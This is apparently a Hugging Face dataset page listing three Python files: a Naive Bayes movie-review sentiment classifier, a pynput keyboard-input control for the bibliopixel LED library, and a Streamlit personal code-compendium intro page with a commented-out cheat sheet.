fumiyau/python_no_comments_test100000 · Datasets at Hugging Face

790c4cdbd1634d4e8ab5589ffeb64063bf179072

13,443

py

Python

NaiveBayesClassifier.py

atahiraj/MLMovieReviewClassifier

87ee1ddeeddd36117b97f3772df9ed3dc7fa1da0

[ "MIT" ]

null

NaiveBayesClassifier.py

atahiraj/MLMovieReviewClassifier

87ee1ddeeddd36117b97f3772df9ed3dc7fa1da0

[ "MIT" ]

null

NaiveBayesClassifier.py

atahiraj/MLMovieReviewClassifier

87ee1ddeeddd36117b97f3772df9ed3dc7fa1da0

[ "MIT" ]

null

import re import numpy import math import sys #implementing the stop words and def extractCleanWords(review): stopWords = ["in", "i", "me", "my", "myself", "we", "our", "ours", "ourselves", "you", "your", "yours", "yourself", "yourselves", "he", "him", "his", "himself", "she", "her", "hers", "herself", "it", "its", "itself", "they", "them", "their", "theirs", "themselves", "what", "which", "who", "whom", "this", "that", "these", "those", "am", "is", "are", "was", "were", "be", "been", "being", "have", "has", "had", "having", "do", "does", "did", "doing", "a", "an", "the", "and", "but", "if", "or", "because", "as", "until", "while", "of", "at", "by", "for", "with", "about", "against", "between", "into", "through", "during", "before", "after", "above", "below", "to", "from", "up", "down", "out", "on", "off", "over", "under", "again", "further", "then", "once", "here", "there", "when", "where", "why", "how", "all", "any", "both", "each", "few", "more", "most", "other", "some", "such", "no", "nor", "not", "only", "own", "same", "so", "than", "too", "very", "s", "t", "can", "will", "just", "don", "should", "now"] words = re.sub("[^\w]", " ", review).split() cleanWords = [i.lower() for i in words if i not in stopWords] return cleanWords #used by bag of words to create the vocab dictionary def createVocabTokens(reviews): vocab = [] for review in reviews: token = extractCleanWords(review) vocab.extend(token) vocab = sorted(list(set(vocab))) return vocab """the bag of words for multinomialNB does not need to create matrixes for each review because it takes too much space and slows it down and it is not neccesary. The bag of words returns a dictionary with the frequencies for each word used for the numerator of P(xi|ci), the total words in the classifier used for the denom of P(xi|ci), and the number of reviews for the class used to calculate the prior probabilities for each class""" def bagOfWords_MultinomialNB(txtFile): total_words = 0 reviewFile = txtFile with open(reviewFile, 'r', encoding='utf8') as file: txt = file.read().replace('\n','') reviewList = txt.split(" ") #print(len(reviewList)) for review in reviewList: review = re.sub("[^\w\s]", "", review) vocabTokens = createVocabTokens(reviewList) #print("Word bank for reviews: \n{0} \n".format(vocabTokens)); #print(len(vocabTokens)) #bagOfWords(reviewFile) numReviews = len(reviewList) #print(len(reviewList)) #print(len(vocabTokens)) vocabDict = dict.fromkeys(vocabTokens, 0) #matrix = numpy.zeros(shape = (len(reviewList),len(vocabTokens))) for i in range(len(reviewList)): words = extractCleanWords(reviewList[i]) #bagList = numpy.zeros(len(vocabTokens)) for word in words: vocabDict[word] += 1 total_words +=1 #if word in vocabTokens: #bagList[vocabTokens.index(word)] +=1 #print(i, " out of ", len(vocabTokens), " done") #matrix[i] = bagList #print("{0}\n{1}\n".format(review,numpy.array(bagList))) return vocabDict, total_words, numReviews def bagOfWords_GaussianNB(txtFile): total_words = 0 reviewFile = txtFile with open(reviewFile, 'r', encoding='utf8') as file: txt = file.read().replace('\n','') reviewList = txt.split(" ") #print(len(reviewList)) numReviews = len(reviewList) for review in reviewList: review = re.sub("[^\w\s]", "", review) vocabTokens = createVocabTokens(reviewList) vocabDict = dict.fromkeys(vocabTokens, 0) for i in range(len(reviewList)): words = extractCleanWords(reviewList[i]) #bagList = numpy.zeros(len(vocabTokens)) for word in words: vocabDict[word] += 1 sparseMatrix = [] for i in range(len(reviewList)): #print("Gauss: ", i) words = extractCleanWords(reviewList[i]) bagList = {} for word in words: if word in bagList: bagList[word] +=1 else: bagList[word] = 1 sparseMatrix.append(bagList) return sparseMatrix, vocabDict, numReviews #calculates the mean and varience using bag of words def calcMean_Var(txtFile, tfidforBOW): if tfidforBOW == 1:#using bag of words sparseMatrix, vocabDict, numReviews = bagOfWords_GaussianNB(txtFile) else: sparseMatrix, vocabDict, numReviews = tf_idf(txtFile) meanVarDict = {} meanVarTouple = [0,0] for word in vocabDict: meanVarTouple[0] = (vocabDict[word] / numReviews) #print(meanVarTouple[0]) var = 0 for m in sparseMatrix: if word in m: var += ((m[word]-meanVarTouple[0])**2) else: var += ((-1*meanVarTouple[0])**2) meanVarTouple[1] = (var / (numReviews -1)) meanVarDict[word] = meanVarTouple #print("Gauss: ", meanVarTouple) return meanVarDict def gaussian_BOW(trainDataPos, trainDataNeg, testData, c): testFile = testData with open(testFile, 'r', encoding='utf8') as file: txt = file.read().replace('\n','') reviewList = txt.split(" ") for review in reviewList: review = re.sub("[^\w\s]", "", review) #prediction will be used for the accuracy of the classifier prediction = [] meanVarDictPOS = calcMean_Var(trainDataPos,1) meanVarDictNEG = calcMean_Var(trainDataNeg,1) testWordFreq = {} for review in reviewList: wordsInReview = extractCleanWords(review) for word in wordsInReview: if (word in meanVarDictPOS) or (word in meanVarDictNEG): if word in testWordFreq: testWordFreq[word] += 1 else: testWordFreq[word] = 1 for review in reviewList: wordsInReview = list(set(extractCleanWords(review))) probPos =0 probNeg =0 for word in wordsInReview: if word in meanVarDictPOS: probPos += (math.log((1/(math.sqrt(2*math.pi*meanVarDictPOS[word][1])))) - (((testWordFreq[word] - meanVarDictPOS[word][0])**2)/((meanVarDictPOS[word][1]**2)))) if word in meanVarDictNEG: probNeg += (math.log((1/(math.sqrt(2*math.pi*meanVarDictNEG[word][1])))) - (((testWordFreq[word] - meanVarDictNEG[word][0])**2)/((meanVarDictNEG[word][1]**2)))) if probPos > probNeg: prediction.append(1) else: prediction.append(0) poss = 0 for p in prediction: if p == c: poss +=1 return(poss/len(prediction)) def tf_idf(txtFile): reviewFile = txtFile with open(reviewFile, 'r', encoding='utf8') as file: txt = file.read().replace('\n','') reviewList = txt.split(" ") #print(len(reviewList)) numReviews = len(reviewList) for review in reviewList: review = re.sub("[^\w\s]", "", review) vocabTokens = createVocabTokens(reviewList) vocabDictIDF = dict.fromkeys(vocabTokens, 0) """for i in range(len(reviewList)): words = extractCleanWords(reviewList[i]) #bagList = numpy.zeros(len(vocabTokens)) for word in words: vocabDict[word] += 1""" totalNumWords = 0 sparseMatrixTFIDF = [] for i in range(len(reviewList)): #print("TFidf: ", i) words = extractCleanWords(reviewList[i]) bagListTF = {} for word in words: totalNumWords +=1 if word in bagListTF: bagListTF[word] +=1 else: bagListTF[word] = 1 for word in list(set(words)): bagListTF[word] = (bagListTF[word]/totalNumWords) vocabDictIDF[word]+=1 sparseMatrixTFIDF.append(bagListTF) #print(i) #using the tf vlues in the sparse matrix and idf values in #the vocab dict we can get the tf idf and hold it in sparse matrix vocabDict = dict.fromkeys(vocabTokens, 0) for dictTF in sparseMatrixTFIDF: for word in dictTF: dictTF[word] = (dictTF[word] * (math.log((len(reviewList)/vocabDictIDF[word])))) vocabDict[word]+= dictTF[word] #print(sparseMatrixTFIDF) return sparseMatrixTFIDF, vocabDict, numReviews def gaussian_tf_idf(trainDataPos, trainDataNeg, testData, c): testFile = testData with open(testFile, 'r', encoding='utf8') as file: txt = file.read().replace('\n','') reviewList = txt.split(" ") for review in reviewList: review = re.sub("[^\w\s]", "", review) #prediction will be used for the accuracy of the classifier prediction = [] meanVarDictPOS = calcMean_Var(trainDataPos,0) meanVarDictNEG = calcMean_Var(trainDataNeg,0) testSparseTFIDF, testVocabDict, testNumReviews = tf_idf(testData) for review in reviewList: wordsInReview = list(set(extractCleanWords(review))) probPos =0 probNeg =0 for word in wordsInReview: if word in meanVarDictPOS: probPos += (math.log((1/(math.sqrt(2*math.pi*meanVarDictPOS[word][1])))) - (((testVocabDict[word] - meanVarDictPOS[word][0])**2)/(2*(meanVarDictPOS[word][1]**2)))) if word in meanVarDictNEG: probNeg += (math.log((1/(math.sqrt(2*math.pi*meanVarDictNEG[word][1])))) - (((testVocabDict[word] - meanVarDictNEG[word][0])**2)/(2*(meanVarDictNEG[word][1]**2)))) if probPos > probNeg: prediction.append(1) else: prediction.append(0) poss = 0 for p in prediction: if p == c: poss +=1 return(poss/len(prediction)) def multinomialNB(trainDataPos, trainDataNeg, testData, c): testFile = testData with open(testFile, 'r', encoding='utf8') as file: txt = file.read().replace('\n','') reviewList = txt.split(" ") for review in reviewList: review = re.sub("[^\w\s]", "", review) #prediction will be used for the accuracy of the classifier prediction = [] #getting the dict, word count and review count for pos and neg from BOW posDict, posWordCount, posdocs = bagOfWords_MultinomialNB(trainDataPos) negDict, negWordCount, negdocs = bagOfWords_MultinomialNB(trainDataNeg) """TEST PRINT STATEMENTS print("Pos dic: ", len(posDict)) print("Neg dic: ", len(negDict)) print("Pos word count: ", posWordCount) print("Neg word count: ", negWordCount) print("Pos docs: ", posdocs) print("Neg docs: ", negdocs)""" #alpha is the smoothing paramater, through trial i found that a value #of 18 will have the highest prediction frequency alpha = 18 #calculating the prior log prob for pos and neg priorLogPosProb =math.log( posdocs / (negdocs + posdocs)) priorLogNegProb =math.log( negdocs / (negdocs + posdocs)) """for each review in our test, we extract the words and calculate the log prob for that word given pos and neg and add this with the prior log probability, then we compare the pos and neg total probabilities and assign a 1 if the pos > neg, and 0 for the opposite We check the prediction list and calculate the accurace for the given classifier""" for review in reviewList: wordsInReview = list(set(extractCleanWords(review))) logProbPos = 0 logProbNeg = 0 posPercent = 0 negPercent = 0 for word in wordsInReview: if word not in posDict: logProbPos += math.log( ((alpha) / (posWordCount+(alpha*len(posDict) ) ) ) ) if word in posDict: logProbPos += math.log( ((posDict[word] + alpha) / (posWordCount+(alpha*len(posDict) ) ) ) ) if word not in negDict: logProbNeg += math.log( ((alpha) / (negWordCount+(alpha*len(negDict) ) ) ) ) if word in negDict: logProbNeg += math.log( ((negDict[word] + alpha) / (negWordCount+(alpha*len(negDict) ) ) ) ) posPercent = priorLogPosProb + logProbPos negPercent = priorLogNegProb + logProbNeg if posPercent > negPercent: prediction.append(1) else: prediction.append(0) poss = 0 for p in prediction: if p == c: poss +=1 return(poss/len(prediction)) #setting the arguments train_pos = sys.argv[1] train_neg = sys.argv[2] test_pos = sys.argv[3] test_neg = sys.argv[4] #getting the accuracy for multinomial for pos test and neg test posAcc = multinomialNB(train_pos, train_neg, test_pos,1) negAcc = multinomialNB(train_pos, train_neg, test_neg,0) #calculating the average accuracy and printing it out multinomialAcc = (posAcc+negAcc) / 2 print("MultinomialNB with bag of words accuracy: ", multinomialAcc) gposAcc = gaussian_BOW(train_pos, train_neg, test_pos,1) gnegAcc = gaussian_BOW(train_pos, train_neg, test_neg,0) gaussAcc = (gposAcc+gnegAcc) / 2 print("Gaussian with bag of words accuracy: ", gaussAcc) #calcMean_Var(train_pos,1) #tf_idf(train_pos) tposAcc = gaussian_tf_idf(train_pos, train_neg, test_pos,1) tnegAcc = gaussian_tf_idf(train_pos, train_neg, test_neg,0) tgaussAcc = (tposAcc+tnegAcc) / 2 print("Gaussian with tf_idf acc: ", tgaussAcc)

39.654867

179

0.612512

import re import numpy import math import sys def extractCleanWords(review): stopWords = ["in", "i", "me", "my", "myself", "we", "our", "ours", "ourselves", "you", "your", "yours", "yourself", "yourselves", "he", "him", "his", "himself", "she", "her", "hers", "herself", "it", "its", "itself", "they", "them", "their", "theirs", "themselves", "what", "which", "who", "whom", "this", "that", "these", "those", "am", "is", "are", "was", "were", "be", "been", "being", "have", "has", "had", "having", "do", "does", "did", "doing", "a", "an", "the", "and", "but", "if", "or", "because", "as", "until", "while", "of", "at", "by", "for", "with", "about", "against", "between", "into", "through", "during", "before", "after", "above", "below", "to", "from", "up", "down", "out", "on", "off", "over", "under", "again", "further", "then", "once", "here", "there", "when", "where", "why", "how", "all", "any", "both", "each", "few", "more", "most", "other", "some", "such", "no", "nor", "not", "only", "own", "same", "so", "than", "too", "very", "s", "t", "can", "will", "just", "don", "should", "now"] words = re.sub("[^\w]", " ", review).split() cleanWords = [i.lower() for i in words if i not in stopWords] return cleanWords def createVocabTokens(reviews): vocab = [] for review in reviews: token = extractCleanWords(review) vocab.extend(token) vocab = sorted(list(set(vocab))) return vocab def bagOfWords_MultinomialNB(txtFile): total_words = 0 reviewFile = txtFile with open(reviewFile, 'r', encoding='utf8') as file: txt = file.read().replace('\n','') reviewList = txt.split(" ") for review in reviewList: review = re.sub("[^\w\s]", "", review) vocabTokens = createVocabTokens(reviewList) numReviews = len(reviewList) vocabDict = dict.fromkeys(vocabTokens, 0) for i in range(len(reviewList)): words = extractCleanWords(reviewList[i]) for word in words: vocabDict[word] += 1 total_words +=1 return vocabDict, total_words, numReviews def bagOfWords_GaussianNB(txtFile): total_words = 0 reviewFile = txtFile with open(reviewFile, 'r', encoding='utf8') as file: txt = file.read().replace('\n','') reviewList = txt.split(" ") numReviews = len(reviewList) for review in reviewList: review = re.sub("[^\w\s]", "", review) vocabTokens = createVocabTokens(reviewList) vocabDict = dict.fromkeys(vocabTokens, 0) for i in range(len(reviewList)): words = extractCleanWords(reviewList[i]) for word in words: vocabDict[word] += 1 sparseMatrix = [] for i in range(len(reviewList)): words = extractCleanWords(reviewList[i]) bagList = {} for word in words: if word in bagList: bagList[word] +=1 else: bagList[word] = 1 sparseMatrix.append(bagList) return sparseMatrix, vocabDict, numReviews def calcMean_Var(txtFile, tfidforBOW): if tfidforBOW == 1: sparseMatrix, vocabDict, numReviews = bagOfWords_GaussianNB(txtFile) else: sparseMatrix, vocabDict, numReviews = tf_idf(txtFile) meanVarDict = {} meanVarTouple = [0,0] for word in vocabDict: meanVarTouple[0] = (vocabDict[word] / numReviews) var = 0 for m in sparseMatrix: if word in m: var += ((m[word]-meanVarTouple[0])**2) else: var += ((-1*meanVarTouple[0])**2) meanVarTouple[1] = (var / (numReviews -1)) meanVarDict[word] = meanVarTouple return meanVarDict def gaussian_BOW(trainDataPos, trainDataNeg, testData, c): testFile = testData with open(testFile, 'r', encoding='utf8') as file: txt = file.read().replace('\n','') reviewList = txt.split(" ") for review in reviewList: review = re.sub("[^\w\s]", "", review) prediction = [] meanVarDictPOS = calcMean_Var(trainDataPos,1) meanVarDictNEG = calcMean_Var(trainDataNeg,1) testWordFreq = {} for review in reviewList: wordsInReview = extractCleanWords(review) for word in wordsInReview: if (word in meanVarDictPOS) or (word in meanVarDictNEG): if word in testWordFreq: testWordFreq[word] += 1 else: testWordFreq[word] = 1 for review in reviewList: wordsInReview = list(set(extractCleanWords(review))) probPos =0 probNeg =0 for word in wordsInReview: if word in meanVarDictPOS: probPos += (math.log((1/(math.sqrt(2*math.pi*meanVarDictPOS[word][1])))) - (((testWordFreq[word] - meanVarDictPOS[word][0])**2)/((meanVarDictPOS[word][1]**2)))) if word in meanVarDictNEG: probNeg += (math.log((1/(math.sqrt(2*math.pi*meanVarDictNEG[word][1])))) - (((testWordFreq[word] - meanVarDictNEG[word][0])**2)/((meanVarDictNEG[word][1]**2)))) if probPos > probNeg: prediction.append(1) else: prediction.append(0) poss = 0 for p in prediction: if p == c: poss +=1 return(poss/len(prediction)) def tf_idf(txtFile): reviewFile = txtFile with open(reviewFile, 'r', encoding='utf8') as file: txt = file.read().replace('\n','') reviewList = txt.split(" ") numReviews = len(reviewList) for review in reviewList: review = re.sub("[^\w\s]", "", review) vocabTokens = createVocabTokens(reviewList) vocabDictIDF = dict.fromkeys(vocabTokens, 0) totalNumWords = 0 sparseMatrixTFIDF = [] for i in range(len(reviewList)): words = extractCleanWords(reviewList[i]) bagListTF = {} for word in words: totalNumWords +=1 if word in bagListTF: bagListTF[word] +=1 else: bagListTF[word] = 1 for word in list(set(words)): bagListTF[word] = (bagListTF[word]/totalNumWords) vocabDictIDF[word]+=1 sparseMatrixTFIDF.append(bagListTF) vocabDict = dict.fromkeys(vocabTokens, 0) for dictTF in sparseMatrixTFIDF: for word in dictTF: dictTF[word] = (dictTF[word] * (math.log((len(reviewList)/vocabDictIDF[word])))) vocabDict[word]+= dictTF[word] return sparseMatrixTFIDF, vocabDict, numReviews def gaussian_tf_idf(trainDataPos, trainDataNeg, testData, c): testFile = testData with open(testFile, 'r', encoding='utf8') as file: txt = file.read().replace('\n','') reviewList = txt.split(" ") for review in reviewList: review = re.sub("[^\w\s]", "", review) prediction = [] meanVarDictPOS = calcMean_Var(trainDataPos,0) meanVarDictNEG = calcMean_Var(trainDataNeg,0) testSparseTFIDF, testVocabDict, testNumReviews = tf_idf(testData) for review in reviewList: wordsInReview = list(set(extractCleanWords(review))) probPos =0 probNeg =0 for word in wordsInReview: if word in meanVarDictPOS: probPos += (math.log((1/(math.sqrt(2*math.pi*meanVarDictPOS[word][1])))) - (((testVocabDict[word] - meanVarDictPOS[word][0])**2)/(2*(meanVarDictPOS[word][1]**2)))) if word in meanVarDictNEG: probNeg += (math.log((1/(math.sqrt(2*math.pi*meanVarDictNEG[word][1])))) - (((testVocabDict[word] - meanVarDictNEG[word][0])**2)/(2*(meanVarDictNEG[word][1]**2)))) if probPos > probNeg: prediction.append(1) else: prediction.append(0) poss = 0 for p in prediction: if p == c: poss +=1 return(poss/len(prediction)) def multinomialNB(trainDataPos, trainDataNeg, testData, c): testFile = testData with open(testFile, 'r', encoding='utf8') as file: txt = file.read().replace('\n','') reviewList = txt.split(" ") for review in reviewList: review = re.sub("[^\w\s]", "", review) prediction = [] posDict, posWordCount, posdocs = bagOfWords_MultinomialNB(trainDataPos) negDict, negWordCount, negdocs = bagOfWords_MultinomialNB(trainDataNeg) alpha = 18 priorLogPosProb =math.log( posdocs / (negdocs + posdocs)) priorLogNegProb =math.log( negdocs / (negdocs + posdocs)) for review in reviewList: wordsInReview = list(set(extractCleanWords(review))) logProbPos = 0 logProbNeg = 0 posPercent = 0 negPercent = 0 for word in wordsInReview: if word not in posDict: logProbPos += math.log( ((alpha) / (posWordCount+(alpha*len(posDict) ) ) ) ) if word in posDict: logProbPos += math.log( ((posDict[word] + alpha) / (posWordCount+(alpha*len(posDict) ) ) ) ) if word not in negDict: logProbNeg += math.log( ((alpha) / (negWordCount+(alpha*len(negDict) ) ) ) ) if word in negDict: logProbNeg += math.log( ((negDict[word] + alpha) / (negWordCount+(alpha*len(negDict) ) ) ) ) posPercent = priorLogPosProb + logProbPos negPercent = priorLogNegProb + logProbNeg if posPercent > negPercent: prediction.append(1) else: prediction.append(0) poss = 0 for p in prediction: if p == c: poss +=1 return(poss/len(prediction)) train_pos = sys.argv[1] train_neg = sys.argv[2] test_pos = sys.argv[3] test_neg = sys.argv[4] posAcc = multinomialNB(train_pos, train_neg, test_pos,1) negAcc = multinomialNB(train_pos, train_neg, test_neg,0) multinomialAcc = (posAcc+negAcc) / 2 print("MultinomialNB with bag of words accuracy: ", multinomialAcc) gposAcc = gaussian_BOW(train_pos, train_neg, test_pos,1) gnegAcc = gaussian_BOW(train_pos, train_neg, test_neg,0) gaussAcc = (gposAcc+gnegAcc) / 2 print("Gaussian with bag of words accuracy: ", gaussAcc) tposAcc = gaussian_tf_idf(train_pos, train_neg, test_pos,1) tnegAcc = gaussian_tf_idf(train_pos, train_neg, test_neg,0) tgaussAcc = (tposAcc+tnegAcc) / 2 print("Gaussian with tf_idf acc: ", tgaussAcc)

true

790c4d1a5bb2537983cd5241bfbfbce93c31f024

1,583

py

Python

bibliopixel/control/keyboard.py

rec/leds

ed5fd11ed155e7008d4ef6d5b3d82cd7f8b3ed6a

[ "MIT" ]

253

2015-01-03T23:17:57.000Z

2021-12-14T02:31:08.000Z

bibliopixel/control/keyboard.py

rec/leds

ed5fd11ed155e7008d4ef6d5b3d82cd7f8b3ed6a

[ "MIT" ]

879

2015-01-11T16:07:25.000Z

2021-12-10T16:24:31.000Z

bibliopixel/control/keyboard.py

rec/leds

ed5fd11ed155e7008d4ef6d5b3d82cd7f8b3ed6a

[ "MIT" ]

71

2015-01-04T01:02:47.000Z

2022-03-25T18:30:10.000Z

import getpass, platform, sys, threading from .. util import log from . control import ExtractedControl # See https://stackoverflow.com/questions/42603000 DARWIN_ROOT_WARNING = """ In MacOS, pynput must to be running as root in order to get keystrokes. Try running your program like this: sudo %s <your commands here> """ INSTALL_ERROR = """ Please install the pynput library with $ pip install pynput """ try: import pynput except ImportError: pynput = Listener = None else: class Listener(pynput.keyboard.Listener): def join(self, timeout=None): # join() on pynput.keyboard.Listener waits on a queue... self._queue.put(None) return super().join(timeout) def keyname(key): return getattr(key, 'name', None) or getattr(key, 'char') class Keyboard(ExtractedControl): EXTRACTOR = { 'keys_by_type': { 'press': ['type', 'key'], 'release': ['type', 'key'], }, 'normalizers': { 'key': keyname, }, } def _press(self, key): self.receive({'type': 'press', 'key': key}) def _release(self, key): self.receive({'type': 'release', 'key': key}) def _make_thread(self): if not pynput: raise ValueError(INSTALL_ERROR) if platform.platform().startswith('Darwin'): if getpass.getuser() != 'root': log.warning(DARWIN_ROOT_WARNING, sys.argv[0]) log.info('Starting to listen for keyboard input') return Listener(self._press, self._release)

23.279412

71

0.60897

import getpass, platform, sys, threading from .. util import log from . control import ExtractedControl DARWIN_ROOT_WARNING = """ In MacOS, pynput must to be running as root in order to get keystrokes. Try running your program like this: sudo %s <your commands here> """ INSTALL_ERROR = """ Please install the pynput library with $ pip install pynput """ try: import pynput except ImportError: pynput = Listener = None else: class Listener(pynput.keyboard.Listener): def join(self, timeout=None): self._queue.put(None) return super().join(timeout) def keyname(key): return getattr(key, 'name', None) or getattr(key, 'char') class Keyboard(ExtractedControl): EXTRACTOR = { 'keys_by_type': { 'press': ['type', 'key'], 'release': ['type', 'key'], }, 'normalizers': { 'key': keyname, }, } def _press(self, key): self.receive({'type': 'press', 'key': key}) def _release(self, key): self.receive({'type': 'release', 'key': key}) def _make_thread(self): if not pynput: raise ValueError(INSTALL_ERROR) if platform.platform().startswith('Darwin'): if getpass.getuser() != 'root': log.warning(DARWIN_ROOT_WARNING, sys.argv[0]) log.info('Starting to listen for keyboard input') return Listener(self._press, self._release)

true

790c4f18ec4cb2893207635b674172ab900ba258

8,886

py

Python

.history/pages/intro_20220303160531.py

rypaik/Streamlit_Ref

5ce11cecbe8307238463c126b88b3beed66c99fa

[ "MIT" ]

null

.history/pages/intro_20220303160531.py

rypaik/Streamlit_Ref

5ce11cecbe8307238463c126b88b3beed66c99fa

[ "MIT" ]

null

.history/pages/intro_20220303160531.py

rypaik/Streamlit_Ref

5ce11cecbe8307238463c126b88b3beed66c99fa

[ "MIT" ]

null

""" Off Multipage Cheatsheet https://github.com/daniellewisDL/streamlit-cheat-sheet @daniellewisDL : https://github.com/daniellewisDL """ import streamlit as st from pathlib import Path import base64 from modules.toc import * # Initial page config st.set_page_config( page_title='Code Compendium Intro Page', layout="wide", # initial_sidebar_state="expanded", ) # col2.title("Table of contents") # col2.write("http://localhost:8502/#display-progress-and-status") # toc.header("Header 1") # toc.header("Header 2") # toc.subheader("Subheader 1") # toc.subheader("Subheader 2") # toc.generate() # Thanks to streamlitopedia for the following code snippet def img_to_bytes(img_path): img_bytes = Path(img_path).read_bytes() encoded = base64.b64encode(img_bytes).decode() return encoded # sidebar # def cs_sidebar(): # st.sidebar.markdown('''[<img src='data:image/png;base64,{}' class='img-fluid' width=32 height=32>](https://streamlit.io/)'''.format(img_to_bytes("logomark_website.png")), unsafe_allow_html=True) # st.sidebar.header('Streamlit cheat sheet') # st.sidebar.markdown(''' # Summary of the [docs](https://docs.streamlit.io/en/stable/api.html), as of [Streamlit v1.0.0](https://www.streamlit.io/). # ''', unsafe_allow_html=True) # st.sidebar.markdown('__How to install and import__') # st.sidebar.code('$ pip install streamlit') # st.sidebar.markdown('Import convention') # st.sidebar.code('>>> import streamlit as st') # st.sidebar.markdown('__Add widgets to sidebar__') # st.sidebar.code(''' # st.sidebar.<widget> # >>> a = st.sidebar.radio(\'R:\',[1,2]) # ''') # st.sidebar.markdown('__Command line__') # st.sidebar.code(''' # $ streamlit --help # $ streamlit run your_script.py # $ streamlit hello # $ streamlit config show # $ streamlit cache clear # $ streamlit docs # $ streamlit --version # ''') # st.sidebar.markdown('__Pre-release features__') # st.sidebar.markdown('[Beta and experimental features](https://docs.streamlit.io/en/stable/api.html#beta-and-experimental-features)') # st.sidebar.code(''' # pip uninstall streamlit # pip install streamlit-nightly --upgrade # ''') # st.sidebar.markdown('''[st.cheat_sheet v1.0.0](https://github.com/daniellewisDL/streamlit-cheat-sheet) | Oct 2021''', unsafe_allow_html=True) # return None ########################## # Main body of cheat sheet ########################## def div(): def cs_body(): col1, col2 = st.columns(2) col1.title('Ryan Paik Coding Compendium') col1.markdwon(''' “You don't learn to walk by following rules. You learn by doing, and by falling over.” -Richard Branson ----- ''') col1.subheader("Welcome to my Code Compendium.") col1.markdown(''' This website/webapp is my personal cheatsheet for of all the code snippets that I have needed over the past 2 years. This ended up being a quick detour into Streamlit that I fell in love with while I was building flask api's. ----- **Programming is only as deep as you want to dive in.** This webapp features the basic code snippets from all the "googling" from programming I have done. I have taken the plunge and have created my own markdown notebooks organizing information from quick solution tidbits to documentation for programming languages. Please visit my github for practical code and my research notebooks: *[rypaik (Ryan Paik) · GitHub](https://github.com/rypaik)* If you would like access to my Gist please email me. ryanpaik@protonmail.com ----- **Bio:** Currently a Sophomore at University of Illinois at Urbana-Champaign Working Nights on my degree from the System Engineering Program **Hobbies:** Trying to become a real guitar hero minus the game system, playing Valorant with the St Mark's crew, getting interesting eats no matter where I am, and playing toss with my baseball field rat of a cousin. The newest hobby is figuring out what I can build with all the new breakthroughs in technology. **Currently Working On** Frameworks and Languages: - Flask, Django, FastAPI, PyTorch, Streamlit, OpenCV, shell scripting, Python, C++ Databases: - Postgres, Redis, MongoDB, and applicable ORMs When I can get up for Air: - React, swift(ios), Rust, GO!! - Find a team to get a paper In Arxiv **This site will be constantly updated as long as I program. Feel free to pass on the URL.** ''') # col2.subheader('Display interactive widgets') # col2.code(''' # st.button('Hit me') # st.download_button('On the dl', data) # st.checkbox('Check me out') # st.radio('Radio', [1,2,3]) # st.selectbox('Select', [1,2,3]) # st.multiselect('Multiselect', [1,2,3]) # st.slider('Slide me', min_value=0, max_value=10) # st.select_slider('Slide to select', options=[1,'2']) # st.text_input('Enter some text') # st.number_input('Enter a number') # st.text_area('Area for textual entry') # st.date_input('Date input') # st.time_input('Time entry') # st.file_uploader('File uploader') # st.color_picker('Pick a color') # ''') # col2.write('Use widgets\' returned values in variables:') # col2.code(''' # >>> for i in range(int(st.number_input('Num:'))): foo() # >>> if st.sidebar.selectbox('I:',['f']) == 'f': b() # >>> my_slider_val = st.slider('Quinn Mallory', 1, 88) # >>> st.write(slider_val) # ''') # # Control flow # col2.subheader('Control flow') # col2.code(''' # st.stop() # ''') # # Lay out your app # col2.subheader('Lay out your app') # col2.code(''' # st.form('my_form_identifier') # st.form_submit_button('Submit to me') # st.container() # st.columns(spec) # >>> col1, col2 = st.columns(2) # >>> col1.subheader('Columnisation') # st.expander('Expander') # >>> with st.expander('Expand'): # >>> st.write('Juicy deets') # ''') # col2.write('Batch widgets together in a form:') # col2.code(''' # >>> with st.form(key='my_form'): # >>> text_input = st.text_input(label='Enter some text') # >>> submit_button = st.form_submit_button(label='Submit') # ''') # # Display code # col2.subheader('Display code') # col2.code(''' # st.echo() # >>> with st.echo(): # >>> st.write('Code will be executed and printed') # ''') # # Display progress and status # col2.subheader('Display progress and status') # col2.code(''' # st.progress(progress_variable_1_to_100) # st.spinner() # >>> with st.spinner(text='In progress'): # >>> time.sleep(5) # >>> st.success('Done') # st.balloons() # st.error('Error message') # st.warning('Warning message') # st.info('Info message') # st.success('Success message') # st.exception(e) # ''') # # Placeholders, help, and options # col2.subheader('Placeholders, help, and options') # col2.code(''' # st.empty() # >>> my_placeholder = st.empty() # >>> my_placeholder.text('Replaced!') # st.help(pandas.DataFrame) # st.get_option(key) # st.set_option(key, value) # st.set_page_config(layout='wide') # ''') # # Mutate data # col2.subheader('Mutate data') # col2.code(''' # DeltaGenerator.add_rows(data) # >>> my_table = st.table(df1) # >>> my_table.add_rows(df2) # >>> my_chart = st.line_chart(df1) # >>> my_chart.add_rows(df2) # ''') # # Optimize performance # col2.subheader('Optimize performance') # col2.code(''' # @st.cache # >>> @st.cache # ... def fetch_and_clean_data(url): # ... # Mutate data at url # ... return data # >>> # Executes d1 as first time # >>> d1 = fetch_and_clean_data(ref1) # >>> # Does not execute d1; returns cached value, d1==d2 # >>> d2 = fetch_and_clean_data(ref1) # >>> # Different arg, so function d1 executes # >>> d3 = fetch_and_clean_data(ref2) # ''') # col2.subheader('Other key parts of the API') # col2.markdown(''' # [State API](https://docs.streamlit.io/en/stable/session_state_api.html) # [Theme option reference](https://docs.streamlit.io/en/stable/theme_options.html) # [Components API reference](https://docs.streamlit.io/en/stable/develop_streamlit_components.html) # [API cheat sheet](https://share.streamlit.io/daniellewisdl/streamlit-cheat-sheet/app.py) # ''', unsafe_allow_html=True) # Column 3 TOC Generator # col3.subheader('test') # toc = Toc(col3) # # col2.title("Table of contents") # col3.write("http://localhost:8502/#display-progress-and-status", unsafe_allow_html=True) # toc.header("Header 1") # toc.header("Header 2") # toc.generate() # toc.subheader("Subheader 1") # toc.subheader("Subheader 2") # toc.generate() # return None # Run main() # if __name__ == '__main__': # main() # def main(): def app(): # cs_sidebar() cs_body() return None

26.845921

228

0.658226

